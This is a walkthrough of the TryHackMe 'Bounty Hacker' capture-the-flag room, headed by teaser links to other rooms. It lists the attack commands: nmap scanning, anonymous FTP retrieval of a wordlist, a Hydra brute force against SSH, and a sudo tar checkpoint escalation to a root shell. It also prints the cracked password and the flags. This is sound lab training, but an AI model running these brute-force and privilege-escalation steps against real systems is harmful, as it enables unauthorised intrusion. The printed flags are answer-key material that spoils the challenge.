Challenges: Bounty Hacker (TryHackMe)

Search for a command to run...

Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

You were boasting in a bar about your elite hacking skills, and a few Bounty Hunters decided to take you up on your claims. Now, it's time to prove your worth. Your mission: break into a target system, collect user and root flags, and walk away with your reputation intact (and maybe some bell peppers & beef for the road). Let’s get started.
You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they'd take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers & beef in your future!
Deploy the machine.
Find open ports on the machine
nmap -sV <IP_Address>


Who wrote the task list? lin
ftp <IP_Address>
Name: anonymous
ftp> ls
ftp> get task.txt
FTP> get locks.txt


What service can you bruteforce with the text file found? SSH

What is the users password? RedDr4gonSynd1cat3
cat locks.txt
hydra -l lin -P locks.txt -t 4 ssh

user.txt THM{CR1M3_SyNd1C4T3}
ssh lin@<IP_Address>
password:
cat user.txt


root.txt THM{80UN7Y_h4cK3r}
sudo -l
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
find / -type f -name root.txt 2> /dev/null
cat /root/root.txt

You walked into the bar with confidence and left with proof: you are the real deal. With sharp recon, skilled brute-forcing, and clever privilege escalation, you conquered the BountyHacker challenge. No more boasting necessary—your flags speak for themselves. Enjoy your bell peppers and beef, hacker. 🍽️💻